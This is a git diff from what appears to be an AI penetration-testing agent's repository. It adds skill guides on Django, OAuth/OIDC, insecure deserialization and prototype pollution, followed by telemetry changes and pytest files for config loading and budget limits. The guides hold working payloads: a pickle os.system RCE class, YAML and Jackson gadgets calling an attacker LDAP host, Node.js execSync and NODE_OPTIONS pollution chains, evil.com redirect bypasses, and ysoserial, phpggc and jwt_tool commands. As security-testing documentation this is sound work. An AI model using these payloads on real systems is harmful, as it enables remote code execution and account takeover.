- Content negotiation: JSON vs form data hitting different parser/permission paths
- HTTP method override or trailing slash routing to alternate view
- Parameter pollution: duplicate `id` fields in query and body
- Race on state transitions (coupon redemption, inventory) via parallel requests
- Versioned API (`/api/v1/` vs `/api/v2/`) with weaker auth on older version
## Testing Methodology
1. **Map surface** — URLs, DRF schema, admin, static/media paths
2. **Auth matrix** — Unauthenticated/user/staff for each endpoint and method
3. **Object ownership** — Swap IDs across two user accounts on every CRUD route
4. **Serializer audit** — Identify writable sensitive fields and nested relations
5. **Middleware order** — Confirm auth runs before business logic; check CSRF on session APIs
6. **Channel parity** — Same authorization on WebSocket actions as REST equivalents
7. **Settings review (white-box)** — DEBUG, ALLOWED_HOSTS, SECRET_KEY, session/cookie flags
## Validation
1. Side-by-side requests proving unauthorized access (IDOR, privilege escalation)
2. CSRF PoC executing state change with victim session (for session-authenticated endpoints)
3. SQLi/template injection with deterministic oracle (error, timing, or `7*7` equivalent)
4. Document view/serializer/permission class where enforcement failed
5. Show admin or staff capability gained from regular user context if applicable
## False Positives
- `queryset.filter(user=request.user)` consistently applied including nested routes
- Object-level permission class correctly validates ownership on all actions
- DEBUG=False and generic error pages with no settings leakage confirmed
- Mark_safe used only on server-generated trusted content
- CSRF correctly enforced on all session-authenticated unsafe methods
## Impact
- Account takeover via session forgery or password reset poisoning
- Horizontal/vertical privilege escalation through IDOR and mass assignment
- Data breach via ORM/SQL injection or excessive serializer fields
- Server compromise via SSTI, pickle in cache (if used), or SSRF to internal services
## Pro Tips
1. DRF ViewSets often protect `list` but forget `destroy` or custom `@action` routes
2. Check `APIView` subclasses for missing `permission_classes` — common oversight
3. Test `?format=` and browsable API HTML responses for CSRF on session auth
4. `django.contrib.admin` uses separate auth — don't assume API auth covers admin
5. Compare ASGI WebSocket consumers against REST permissions for the same resource
## Tooling
Static analysis is the fastest way to reach the sinks above in white-box scope. The sandbox ships `python`/`pipx`, `semgrep`, `bandit`, `ast-grep`, and `ripgrep`.
- **bandit** (preinstalled) — Python security linter; flags `mark_safe`, `extra()`, `RawSQL`, `subprocess`, weak crypto, hardcoded secrets: `bandit -r . -ll`
- **semgrep** (preinstalled) with the Django ruleset — higher-signal than bandit for framework-specific bugs (`.extra()`, `RawSQL`, `|safe`, `csrf_exempt`, `ALLOWED_HOSTS=['*']`): `semgrep --config p/django .`
- **pip-audit** (PyPA) — dependency CVE scanner for known-vuln Django/DRF/simplejwt versions: `pipx install pip-audit && pip-audit -r requirements.txt`
- **ast-grep** (preinstalled) — quick structural grep for risky calls without a full SAST run: `ast-grep run -p 'mark_safe($X)' -l python`
For the `SECRET_KEY` → signed-cookie/reset-token forgery path noted under Session Issues, Django's own `django.core.signing` is the "tool": with a leaked key you can mint valid `signing.dumps()` values (session cookies, password-reset tokens, and `PickleSerializer`-backed session RCE).
## Summary
Django's defaults help (CSRF middleware, template auto-escape) but DRF, raw SQL, custom permissions, and deployment settings introduce frequent gaps. Test every endpoint with role-separated principals and verify object-level enforcement on querysets, not just authentication presence.
+185
View File
@@ -0,0 +1,185 @@
---
name: oauth
description: OAuth 2.0 and OIDC flow security testing covering redirect manipulation, token leakage, PKCE bypass, and client misconfiguration
---
# OAuth 2.0 / OIDC
OAuth and OIDC failures often enable account takeover, token theft, and cross-client token confusion. Treat every redirect, client identifier, and token exchange as an authorization boundary — not a convenience layer.
## Attack Surface
**Flows**
- Authorization code (with/without PKCE)
- Implicit (legacy), hybrid, device authorization, client credentials
- Refresh token rotation, token introspection, revocation
**Endpoints**
- `/authorize`, `/token`, `/userinfo`, `/introspect`, `/revoke`, `/logout`
- `/.well-known/openid-configuration`, `/jwks.json`
- Dynamic client registration (if enabled)
**Token Types**
- Authorization codes, access tokens, refresh tokens, ID tokens
- Opaque vs JWT formats; reference tokens vs self-contained JWTs
**Client Types**
- Public clients (SPAs, mobile) vs confidential (server-side)
- Multiple redirect URIs, wildcard/pattern matching, custom URI schemes
## Reconnaissance
**Discovery**
```
GET /.well-known/openid-configuration
GET /oauth2/.well-known/openid-configuration
GET /.well-known/oauth-authorization-server
```
Extract: `authorization_endpoint`, `token_endpoint`, `registration_endpoint`, supported `response_types`, `code_challenge_methods_supported`, `grant_types_supported`.
**Client Enumeration**
- Inspect JS bundles, mobile APK/IPA configs, GitHub repos for `client_id`, redirect URIs, scopes
- Check error messages for client validation hints ("invalid redirect_uri", "unregistered client")
## Key Vulnerabilities
### Redirect URI Manipulation
**Open Redirect Chains**
- Register or guess permissive redirect patterns: `https://app.com/callback`, path-prefix only, subdomain wildcards
- Test: append paths, fragments, query injection, `@` tricks, encoded slashes, backslash variants
```
https://app.com/callback.evil.com
https://app.com/callback%2f..%2f@evil.com
https://app.com/callback?next=https://evil.com
com.app://callback (mobile custom scheme)
```
**Redirect URI Validation Bypasses**
- Trailing slash, case, port, scheme downgrade (`http` vs `https`)
- Path normalization differentials between IdP validator and consuming app
- `redirect_uri` parameter pollution (first vs last wins)
- Wildcard subdomain acceptance: `*.app.com` → register `attacker.app.com` or find dangling subdomain
### Authorization Code Issues
**Code Leakage**
- Codes in URL fragments, Referer headers, browser history, server logs, analytics
- Code replay before expiry; missing one-time-use enforcement
- Code sent to wrong redirect_uri if binding is weak
**Code Injection / Mix-Up**
- Attacker initiates flow, victim completes login, code delivered to attacker's redirect
- Mix-up attack: swap `client_id` between authorize and token steps
- Missing `redirect_uri` binding at token endpoint
### State and Nonce
- Missing, predictable, or reusable `state` → CSRF on OAuth login (session fixation, account linking)
- Missing `nonce` in OIDC → ID token injection/replay
- `state` not bound to client session or PKCE verifier
### PKCE Bypass
- `code_challenge_method` downgrade: accept `plain` instead of `S256`
- Missing PKCE requirement on public clients
- `code_verifier` not validated or compared case-insensitively with weak matching
- Authorization code issued without challenge, token endpoint accepts any verifier
### Client Authentication
**Public Client Abuse**
- Token endpoint accepts requests without `client_secret` for confidential clients
- `client_id` only authentication on token/introspection endpoints
- Dynamic registration with attacker-controlled redirect URIs
**Secret Leakage**
- Hardcoded secrets in mobile apps, SPAs, or public repos
- `client_secret` accepted in query string or logged in access logs
### Scope and Token Issues
- Scope escalation: request `admin`/`offline_access`/`openid profile email` beyond app need; server grants all requested scopes
- Refresh token not rotated or reuse not detected → persistent access
- Access token accepted across services (missing audience/resource binding)
- Token introspection returns `active:true` without proper auth on introspection endpoint
### OpenID Connect Specific
- ID token accepted as access token at resource servers (token confusion)
- `acr`, `amr`, `auth_time` not validated for step-up requirements
- Userinfo endpoint returns PII without matching access token scope
- `sub` collision across issuers if `iss` not validated
## Advanced Techniques
**Referer Leakage**
- Embed authorized redirect as subresource on attacker page; harvest `code` from Referer if policy allows
**Device Flow Abuse**
- Poll `device_code` endpoint with guessed codes; slow rate limits only
- User approves attacker-initiated device login
**Account Linking**
- OAuth login links attacker's IdP identity to victim's local account without re-auth
- Email collision: same email from different IdP providers
## Testing Methodology
1. **Map flows** — Identify all grant types, clients, and redirect URIs in use
2. **Redirect matrix** — For each client, fuzz redirect_uri validation with encoding and parser tricks
3. **CSRF** — Initiate OAuth without `state`; swap sessions mid-flow
4. **PKCE** — Replay codes with wrong/missing verifier; downgrade challenge method
5. **Token exchange** — Swap codes/tokens between clients; test cross-audience acceptance
6. **Mobile/deep links** — Custom schemes, intent filters, universal links hijacking
## Validation
1. Demonstrate stolen authorization code or token via redirect manipulation or Referer leak
2. Show account takeover or access to victim resources with attacker's OAuth session
3. Prove CSRF: victim completes login into attacker's linked session without consent UI bypass where applicable
4. Document exact validation gap (redirect binding, PKCE, state, audience)
5. Provide full authorize → callback → token request chain with before/after evidence
## False Positives
- Redirect URI rejected consistently across all bypass attempts
- Public client correctly requires PKCE S256 with strict verifier validation
- `state`/`nonce` enforced and bound; CSRF test fails as expected
- Token audience/issuer correctly validated at resource server
- Custom scheme redirects require app ownership proof (verified Android/iOS app links)
## Impact
- Full account takeover via stolen authorization codes or tokens
- Persistent access through refresh token theft
- Cross-tenant or cross-client data access via token confusion
- PII exposure from userinfo or ID token claim leakage
## Pro Tips
1. Always capture the full redirect chain including intermediate 302 locations
2. Compare authorize-step and token-step parameter binding (`redirect_uri`, `client_id`, PKCE)
3. Test both web and mobile clients — validation rules often differ
4. Check logout/revocation — tokens may remain valid after "logout"
5. Chain with open redirect or XSS on the legitimate redirect_uri to exfiltrate codes
## Tooling
The sandbox ships **jwt_tool** (already cloned at `/home/pentester/tools/jwt_tool`) plus `curl` — enough for the token side of OAuth/OIDC.
- **jwt_tool** (ticarpi) — inspect and tamper ID tokens / JWT access tokens: `alg:none`, `HS256`/`RS256` key confusion, `kid` injection, claim editing (`sub`, `aud`, `iss`, `exp`):
```
python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> # decode/inspect
python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> -X a # alg:none
python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> -X k -pk pub.pem # RS256->HS256 confusion
```
- **curl** — drive the authorize → callback → token chain by hand so you control every parameter (`redirect_uri`, `client_id`, `state`, PKCE `code_challenge`/`code_verifier`) and can test the binding/downgrade cases above.
Humans often use Burp's **EsPReSSO** (RUB-NDS) SSO extension for flow visualization; it is GUI-only, so prefer manual `curl` + `jwt_tool` in-sandbox.
## Summary
OAuth security hinges on strict redirect URI binding, unguessable state/nonce, PKCE for public clients, and consistent token audience validation. Any gap in the authorize-to-token chain is a potential account takeover.
@@ -0,0 +1,188 @@
---
name: insecure-deserialization
description: Insecure deserialization testing for Java, Python, PHP, .NET, Ruby, and Node.js covering gadget chains, type confusion, and safe validation
---
# Insecure Deserialization
Insecure deserialization passes attacker-controlled byte streams or structured blobs to language-native unmarshal functions, enabling remote code execution, authentication bypass, and logic manipulation through magic methods and gadget chains. Test any endpoint accepting serialized objects, session blobs, or opaque binary tokens.
## Attack Surface
**Formats**
- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML)
- Python: `pickle`, `yaml.load` (unsafe), `marshal`, shelve
- PHP: `unserialize()`, Phar deserialization
- .NET: `BinaryFormatter`, `Json.NET TypeNameHandling`, ViewState
- Ruby: `Marshal.load`, YAML.load
- Node.js: `node-serialize`, `unserialize.js` (less common; see prototype_pollution for merge bugs)
**Input Locations**
- Cookies, session tokens, hidden form fields
- API parameters (`data`, `state`, `object`, base64 blobs)
- Message queues, WebSocket binary frames, file uploads
- Cache entries, database columns storing serialized objects
## Reconnaissance
**Detection Signals**
- Base64 blobs starting with magic bytes:
- Java: `ac ed 00 05` (hex `rO0` base64)
- PHP: `O:`, `a:`, `s:` prefixes after decode
- .NET BinaryFormatter: starts with `00 01 00 00 00 ff ff ff ff`
- `Content-Type` with binary or custom serialization
- Framework indicators: Java apps with Spring, Struts, JSF; PHP with Symfony sessions
**White-Box Indicators**
```
pickle.loads unserialize( ObjectInputStream BinaryFormatter
yaml.load readObject( TypeNameHandling Marshal.load
```
## Key Vulnerabilities
### Java Deserialization
**Gadget Chains**
- Commons Collections, Commons BeanUtils, Spring, Groovy, Rome, JDK-only chains (varies by classpath)
- Tools: ysoserial (authorized testing only), manual chain selection by classpath
**Test Flow**
1. Confirm deserialization sink (HTTP param, cookie, RMI, JMX if exposed)
2. Fingerprint library versions from errors, headers, or bundled libs
3. Generate gadget payload for available chain; expect DNS/HTTP callback or command execution
**Jackson / JSON Typing**
```json
["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://attacker/o", "autoCommit":true}]
```
When `enableDefaultTyping` or `@JsonTypeInfo` allows attacker-chosen types.
### Python Pickle
Pickle executes arbitrary code during unpickling by design:
```python
import pickle, os, base64
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
# base64 encode pickle.dumps(Exploit()) and send as cookie/param
```
**YAML**
```yaml
!!python/object/apply:os.system ['id']
```
When `yaml.load` used instead of `yaml.safe_load`.
### PHP unserialize()
**Object Injection**
- Magic methods: `__wakeup`, `__destruct`, `__toString`, `__call`
- POP chains through framework classes (Laravel, Symfony, WordPress plugins)
**Phar Deserialization**
- Upload or reference `phar://` wrapper triggering metadata deserialization on file operations
### .NET Deserialization
**BinaryFormatter / LosFormatter**
- Never safe on untrusted input; full RCE with known gadget chains (ysoserial.net)
**Json.NET**
```json
{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework", ...}
```
When `TypeNameHandling` != `None`.
**ViewState**
- MAC disabled or weak machine keys → forge deserialized view state
### Ruby Marshal
- `Marshal.load` on user input → gadget chains in Rails/Devise versions (context-dependent)
## Advanced Techniques
**Signed Blob Bypass**
- If HMAC/signing uses weak secret or algorithm confusion, forge serialized payload
- Strip signature and test unsigned code paths
- Length extension on MAC if applicable (older custom schemes)
**Second-Order Deserialization**
- Store serialized blob in profile/import; trigger on admin export, cache warm, or batch job
**Compression Wrappers**
- Gzip/base64 nested encoding bypassing naive WAF inspection
## Testing Methodology
1. **Find sinks** — Locate decode/unmarshal calls on user-influenced data
2. **Confirm format** — Magic bytes, error stack traces, framework fingerprint
3. **Safe oracle** — DNS/HTTP OAST callback or sleep/ping before full RCE PoC
4. **Gadget selection** — Match classpath/runtime version to available chains
5. **Minimal PoC** — Demonstrate code execution or critical logic bypass with least destructive command
6. **Session/cookie focus** — Deserialize server-side session stores (Java, PHP) early
## Validation
1. Demonstrate attacker-controlled object graph reaches dangerous sink (unmarshal/readObject)
2. Show impact: RCE (bounded command), auth bypass object, or privilege field manipulation
3. Provide encoded payload and exact injection point (cookie name, parameter, header)
4. Confirm on fixed version or alternate instance that identical payload fails safely
5. Document library/version and gadget chain class names for remediation
## False Positives
- Base64 data is encrypted or signed with verified HMAC before deserialization
- Only primitive types deserialized (whitelist schema, no polymorphic types)
- `pickle`/`Marshal` not used; JSON parsed to dict without object instantiation
- Deserialization in isolated sandbox with no network/exec primitives (verify thoroughly)
- Error mentions serialization class but input is never passed to unmarshal (dead code path)
## Bypass Methods
- Encoding layers: base64 → gzip → serialize
- Alternative parameters storing same session (`session`, `session_backup`, `state`)
- Switch content-type or parameter location (GET vs POST vs cookie)
- Type confusion: JSON array vs object hitting different deserializer branches
- Unicode/UTF-7 smuggling in PHP serialized strings (legacy contexts)
## Impact
- Remote code execution on application servers
- Authentication bypass via forged session objects
- Privilege escalation through manipulated role/admin fields in deserialized classes
- Full application compromise in Java/PHP/.NET stacks with known gadget libraries
## Pro Tips
1. Always fingerprint versions before firing ysoserial — wrong chain wastes time and noise
2. Start with DNS/HTTP callback gadgets before command execution in production-like targets
3. Check cookies named `JSESSIONID` alternatives, `.ASPXAUTH`, `laravel_session`, custom tokens
4. In white-box, trace from `readObject`/`unserialize`/`pickle.loads` backward to source
5. ViewState MAC off is still common on legacy ASP.NET — test early on `.aspx` apps
## Tooling
Payload generation is the practitioner's core tool here. The sandbox has `git`/`python`/`go` and **interactsh-client** (OAST); add a JRE or `php-cli` if you need the Java/PHP generators.
| Tool | Language / format | Use |
|------|-------------------|-----|
| **ysoserial** (frohoff) | Java native | Gadget-chain payloads: `CommonsCollections1-7`, `Groovy1`, `Spring1/2`, and `URLDNS` for a safe no-exec DNS oracle. Needs a JRE. |
| **phpggc** (ambionics) | PHP `unserialize` / Phar | Framework POP chains (Laravel, Symfony, WordPress, Drupal, Monolog). Needs `php-cli`. |
| **ysoserial.net** | .NET `BinaryFormatter` / Json.NET | Windows/.NET gadget payloads. Needs .NET/mono — usually out of scope in a Linux sandbox. |
```
# Java: prove the sink with a no-exec DNS oracle BEFORE any RCE chain
java -jar ysoserial.jar URLDNS "http://$(interactsh-client -json | jq -r .host)" | base64 -w0
# PHP: generate a Laravel POP chain (base64), fast path via a framework gadget
./phpggc -b Laravel/RCE9 system id
```
Confirm the sink with a callback (`URLDNS` / interactsh OAST) before firing a command-exec chain, and match the chain to the fingerprinted library version — the wrong chain just adds noise.
## Summary
Treat every deserialization of untrusted data as critical. Safe patterns use JSON schema validation without type polymorphism, `yaml.safe_load`, signed encrypted tokens, or no custom serialization at all. Prove impact with callback or bounded execution — not just error stack traces.
@@ -0,0 +1,142 @@
---
name: prototype-pollution
description: Client and server prototype pollution testing covering JavaScript object merge bugs, Node.js RCE chains, and filter bypasses
---
# Prototype Pollution
Prototype pollution corrupts shared object prototypes (`Object.prototype`, `Array.prototype`, etc.), leading to application logic bypass, denial of service, and — on Node.js — remote code execution via gadget chains. Test anywhere user input merges into objects without safe key filtering.
## Attack Surface
**Languages & Runtimes**
- JavaScript/TypeScript (browser and Node.js)
- JSON parsers that preserve `__proto__`, `constructor`, `prototype` keys
- Server-side template engines and config merge utilities
**Input Vectors**
- JSON request bodies, query strings, multipart form fields
- URL-encoded nested objects (`__proto__[key]=value`)
- WebSocket messages, GraphQL variables, file import formats (JSON, YAML)
**Vulnerable Patterns**
- Deep merge/extend: `lodash.merge`, `jQuery.extend`, custom `Object.assign` loops
- Query parsers: `qs`, `body-parser` with nested object support
- Client-side routing, state hydration, analytics SDK config merges
## Key Vulnerabilities
### Client-Side Prototype Pollution
**Gadget Effects**
- Bypass auth checks reading `user.isAdmin` when polluted on prototype
- DOM XSS via polluted properties consumed by `innerHTML`, `document.write`, script loaders
- Cookie/session manipulation if app reads config from polluted defaults
**Payload Shapes**
```json
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}
{"__proto__.polluted": "yes"}
```
**URL-encoded (qs-style)**
```
?__proto__[isAdmin]=true
?constructor[prototype][isAdmin]=true
```
### Server-Side Prototype Pollution (Node.js)
**Common Sinks**
- `lodash.merge`, `lodash.defaultsDeep`, `deep-extend`, `merge-options`
- Express/query parsers accepting nested objects
- YAML `load()` (not `safeLoad`) with prototype keys
- JSON.parse → merge into existing object without null prototype
**RCE Gadget Chains (Node.js)**
Pollute properties consumed by child_process, template engines, or require paths:
```json
{"__proto__": {"shell": "/proc/self/exe", "argv0": "node", "NODE_OPTIONS": "--require /tmp/evil.js"}}
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id')//"}}
```
Gadget availability depends on package versions — enumerate `node_modules` in white-box scans.
### Filter Bypasses
**Key Sanitization Bypasses**
- Unicode normalization: `__proto__` variants, fullwidth underscores
- Nested forms: `constructor.prototype` instead of `__proto__`
- Array pollution: `__proto__[0]`, `[].__proto__`
- JSON `$` or `.` keys in some parsers (MongoDB-style operators overlap — see nosql_injection skill)
**Freeze/Seal Gaps**
- Pollution before `Object.freeze` on instance but not prototype
- Pollution affecting newly created objects after merge
## Testing Methodology
1. **Identify merge points** — Search for extend/merge/defaults/deep copy on user-controlled objects
2. **Baseline probe** — Inject benign pollution marker:
```json
{"__proto__": {"strixPolluted": "yes"}}
```
Verify via response behavior, error messages, or follow-up request reading shared state
3. **Shape variants** — Test `__proto__`, `constructor.prototype`, nested bracket notation
4. **Channel matrix** — JSON body, query string, multipart, WebSocket for same endpoint
5. **Gadget hunting (Node.js)** — Map polluted keys to sinks in dependency tree (ejs, pug, handlebars, child_process wrappers)
6. **Client-side** — Check if polluted properties affect routing, auth UI, or DOM sinks
## Validation
1. Demonstrate a property on `Object.prototype` (or relevant prototype) affecting behavior on unrelated objects
2. Show security impact: auth bypass, XSS execution, or server-side command execution with minimal PoC
3. Prove pollution persists across requests (server) or page lifetime (client) as applicable
4. Document exact merge function and input path (parameter name, content-type)
5. Confirm fix: null-prototype objects, `Object.create(null)`, or key blocklists on `__proto__`/`constructor`/`prototype`
## False Positives
- Parser strips `__proto__` before merge — marker property never appears on prototype
- Framework uses `Object.create(null)` for options objects throughout
- Polluted key visible in JSON echo but never merged into object graph
- Client-side pollution blocked by frozen prototypes in modern hardened libraries (verify no behavioral change)
- WAF blocks payload but alternate encoding also blocked consistently
## Bypass Methods
- Switch from `__proto__` to `constructor[prototype]` when only one is filtered
- Use array notation: `__proto__[key]`, `[].__proto__.key`
- Content-type switching: JSON vs `application/x-www-form-urlencoded` vs multipart
- Split pollution across multiple parameters merged sequentially
- Second-order pollution: store payload, trigger merge in background job or export pipeline
## Impact
- Authentication/authorization bypass via polluted flag checks
- DOM XSS and session compromise in browsers
- Remote code execution on Node.js through known gadget chains
- Denial of service via polluting widely read prototype properties
## Pro Tips
1. Always verify pollution with a unique canary key (`strixPolluted_<random>`) before attempting RCE gadgets
2. In white-box scans, grep for `merge`, `extend`, `defaultsDeep`, `assign` with user input
3. Check both request parsing and response template config merges (second-order)
4. Node gadget chains are version-specific — confirm package version before claiming RCE
5. Combine with client-side template injection if polluted keys flow into rendering config
## Tooling
Detection is mostly about payload shapes (above) plus a couple of light helpers. The sandbox has `go` and `nuclei`; `ppfuzz` is a single static binary.
- **ppfuzz** (dwisiswant0) — fast client-side prototype-pollution fuzzer (Rust, single binary); good for spraying the URL/param shapes across many endpoints: `ppfuzz -l urls.txt`
- **nuclei** (preinstalled) — has prototype-pollution templates for quick triage: `nuclei -u https://target -tags prototype-pollution`
- **BlackFan `client-side-prototype-pollution`** — not a tool but the canonical **gadget reference**: maps polluted keys to concrete DOM-XSS sinks per library (jQuery, Popper, Wistia, etc.). Use it to turn a confirmed pollution into real impact.
For server-side gadget hunting there is no reliable one-click tool — enumerate `node_modules` in white-box scope and match polluted keys to sinks (`ejs`/`pug` `outputFunctionName`, `child_process` `shell`/`NODE_OPTIONS`) as covered above.
## Summary
Any unsafe recursive merge of user-controlled keys is a prototype pollution candidate. Block `__proto__`, `constructor`, and `prototype` keys, use null-prototype objects, and validate impact with behavioral proof — not just reflected keys.
+1 -3
View File
@@ -123,8 +123,6 @@ def end(report_state: "ReportState", exit_reason: str = "completed") -> None:
)
def error(error_type: str, error_msg: str | None = None) -> None:
def error(error_type: str) -> None:
props = {**base_props(), "error_type": error_type}
if error_msg:
props["error_msg"] = error_msg
_send("error", props)
+1 -3
View File
@@ -129,12 +129,10 @@ def end(report_state: ReportState, exit_reason: str = "completed") -> None:
)
def error(error_type: str, error_msg: str | None = None) -> None:
def error(error_type: str) -> None:
props: dict[str, Any] = {
**base_props(),
"session": SESSION_ID,
"error_type": error_type,
}
if error_msg:
props["error_msg"] = error_msg
_send("error", props)
+1 -1
View File
@@ -13,5 +13,5 @@ returns it as an image content block for vision-capable models.
`containers/docker-entrypoint.sh`).
- **Skill:** screenshot workflow lives in `strix/skills/tooling/agent_browser.md`.
- **Recovery:** vision-not-supported model rejections are auto-recovered
via `strix.core.sessions.strip_latest_image_from_session`, invoked from
via `strix.core.sessions.strip_all_images_from_session`, invoked from
`strix/core/execution.py`.
View File
+178
View File
@@ -0,0 +1,178 @@
"""Tests for strix.config.loader: JSON overrides, alias resolution, persistence."""
from __future__ import annotations
import json
from typing import TYPE_CHECKING
import pytest
from pydantic import AliasChoices, Field
from pydantic.fields import FieldInfo
from strix.config import loader
if TYPE_CHECKING:
from pathlib import Path
_LLM_ENV_KEYS = [
"STRIX_LLM",
"LLM_API_KEY",
"OPENAI_API_KEY",
"LLM_API_BASE",
"OPENAI_API_BASE",
"OPENAI_BASE_URL",
"LITELLM_BASE_URL",
"OLLAMA_API_BASE",
"STRIX_REASONING_EFFORT",
"LLM_TIMEOUT",
"PERPLEXITY_API_KEY",
# RuntimeSettings
"STRIX_IMAGE",
"STRIX_RUNTIME_BACKEND",
"STRIX_MAX_LOCAL_COPY_MB",
# TelemetrySettings
"STRIX_TELEMETRY",
]
@pytest.fixture(autouse=True)
def _reset_loader_state(monkeypatch: pytest.MonkeyPatch) -> None:
"""Reset module globals and clear known env vars for deterministic runs."""
for key in _LLM_ENV_KEYS:
monkeypatch.delenv(key, raising=False)
monkeypatch.setattr(loader, "_cached", None)
monkeypatch.setattr(loader, "_override", None)
# --------------------------------------------------------------------------- #
# _read_json_overrides
# --------------------------------------------------------------------------- #
def test_read_json_overrides_missing_file(tmp_path: Path) -> None:
assert loader._read_json_overrides(tmp_path / "nope.json") == {}
def test_read_json_overrides_corrupt_json(tmp_path: Path) -> None:
path = tmp_path / "cli-config.json"
path.write_text("{not valid json", encoding="utf-8")
assert loader._read_json_overrides(path) == {}
def test_read_json_overrides_non_dict_env(tmp_path: Path) -> None:
path = tmp_path / "cli-config.json"
path.write_text(json.dumps({"env": ["not", "a", "dict"]}), encoding="utf-8")
assert loader._read_json_overrides(path) == {}
def test_read_json_overrides_maps_to_nested_settings(tmp_path: Path) -> None:
path = tmp_path / "cli-config.json"
path.write_text(
json.dumps({"env": {"STRIX_LLM": "my-model", "PERPLEXITY_API_KEY": "pk"}}),
encoding="utf-8",
)
assert loader._read_json_overrides(path) == {
"llm": {"model": "my-model"},
"integrations": {"perplexity_api_key": "pk"},
}
def test_read_json_overrides_skips_keys_already_in_environ(
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
) -> None:
monkeypatch.setenv("STRIX_LLM", "from-env")
path = tmp_path / "cli-config.json"
path.write_text(json.dumps({"env": {"STRIX_LLM": "from-file"}}), encoding="utf-8")
# env wins -> the JSON value is not surfaced as an init kwarg.
assert loader._read_json_overrides(path) == {}
# --------------------------------------------------------------------------- #
# _aliases_for
# --------------------------------------------------------------------------- #
def test_aliases_for_simple_alias() -> None:
finfo = FieldInfo(alias="SIMPLE_ALIAS")
assert loader._aliases_for(finfo) == ["SIMPLE_ALIAS"]
def test_aliases_for_alias_choices() -> None:
finfo: FieldInfo = Field( # type: ignore[assignment]
default=None,
validation_alias=AliasChoices("FIRST", "SECOND"),
)
assert loader._aliases_for(finfo) == ["FIRST", "SECOND"]
def test_aliases_for_string_validation_alias() -> None:
finfo: FieldInfo = Field(default=None, validation_alias="STR_ALIAS") # type: ignore[assignment]
assert loader._aliases_for(finfo) == ["STR_ALIAS"]
def test_aliases_for_no_alias() -> None:
assert loader._aliases_for(FieldInfo()) == []
# --------------------------------------------------------------------------- #
# apply_config_override + load_settings round-trip
# --------------------------------------------------------------------------- #
def test_apply_override_and_load_settings_round_trip(tmp_path: Path) -> None:
path = tmp_path / "cli-config.json"
path.write_text(
json.dumps({"env": {"STRIX_LLM": "round-trip-model", "PERPLEXITY_API_KEY": "pk"}}),
encoding="utf-8",
)
loader.apply_config_override(path)
settings = loader.load_settings()
assert settings.llm.model == "round-trip-model"
assert settings.integrations.perplexity_api_key == "pk"
# Second call is memoized -> same object.
assert loader.load_settings() is settings
def test_apply_config_override_invalidates_cache(tmp_path: Path) -> None:
first = tmp_path / "first.json"
first.write_text(json.dumps({"env": {"STRIX_LLM": "first-model"}}), encoding="utf-8")
second = tmp_path / "second.json"
second.write_text(json.dumps({"env": {"STRIX_LLM": "second-model"}}), encoding="utf-8")
loader.apply_config_override(first)
assert loader.load_settings().llm.model == "first-model"
loader.apply_config_override(second)
assert loader.load_settings().llm.model == "second-model"
# --------------------------------------------------------------------------- #
# persist_current
# --------------------------------------------------------------------------- #
def test_persist_current_writes_env_block(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setenv("STRIX_LLM", "persisted-model")
target = tmp_path / "sub" / "cli-config.json"
loader.apply_config_override(target)
loader.persist_current()
assert target.exists()
assert json.loads(target.read_text(encoding="utf-8")) == {
"env": {"STRIX_LLM": "persisted-model"}
}
def test_persist_current_sets_0600_mode(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setenv("STRIX_LLM", "persisted-model")
target = tmp_path / "cli-config.json"
loader.apply_config_override(target)
loader.persist_current()
assert target.stat().st_mode & 0o777 == 0o600
+44
View File
@@ -0,0 +1,44 @@
"""Tests for the scan-wide budget-stop signal on the agent coordinator."""
from __future__ import annotations
import asyncio
import pytest
from strix.core.agents import AgentCoordinator
@pytest.mark.asyncio
async def test_budget_stop_sets_flag() -> None:
coordinator = AgentCoordinator()
await coordinator.register("root", "strix", parent_id=None)
assert coordinator.budget_stopped is False
await coordinator.trigger_budget_stop()
assert coordinator.budget_stopped is True
@pytest.mark.asyncio
async def test_budget_stop_unblocks_parked_agent() -> None:
# A parent parked in wait_for_message (awaiting a child) must be released so
# it can exit, no matter where in the tree the budget limit was hit.
coordinator = AgentCoordinator()
await coordinator.register("parent", "strix", parent_id=None)
waiter = asyncio.create_task(coordinator.wait_for_message("parent"))
await asyncio.sleep(0) # let the waiter park
assert not waiter.done()
await coordinator.trigger_budget_stop()
await asyncio.wait_for(waiter, timeout=1.0)
@pytest.mark.asyncio
async def test_wait_for_message_returns_immediately_after_budget_stop() -> None:
coordinator = AgentCoordinator()
await coordinator.register("agent", "recon", parent_id="parent")
await coordinator.trigger_budget_stop()
# No pending messages, but the stop flag short-circuits the wait.
await asyncio.wait_for(coordinator.wait_for_message("agent"), timeout=1.0)
+108
View File
@@ -0,0 +1,108 @@
"""Tests for budget enforcement in ReportUsageHooks."""
from __future__ import annotations
from unittest.mock import MagicMock, patch
import pytest
from strix.core.hooks import BudgetExceededError, ReportUsageHooks
def _make_hooks(max_budget: float | None) -> ReportUsageHooks:
return ReportUsageHooks(model="test-model", max_budget_usd=max_budget)
def _make_report_state(cost: float) -> MagicMock:
state = MagicMock()
state.get_total_llm_cost.return_value = cost
state.record_sdk_usage = MagicMock()
return state
def _make_context(agent_id: str = "test-agent") -> MagicMock:
ctx: MagicMock = MagicMock()
ctx.context = {"agent_id": agent_id}
return ctx
@pytest.mark.asyncio
async def test_no_budget_never_raises() -> None:
hooks = _make_hooks(None)
state = _make_report_state(9999.0)
with patch("strix.core.hooks.get_global_report_state", return_value=state):
await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
@pytest.mark.asyncio
async def test_under_budget_does_not_raise() -> None:
hooks = _make_hooks(10.0)
state = _make_report_state(9.99)
with patch("strix.core.hooks.get_global_report_state", return_value=state):
await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
@pytest.mark.asyncio
async def test_at_budget_raises() -> None:
hooks = _make_hooks(10.0)
state = _make_report_state(10.0)
with (
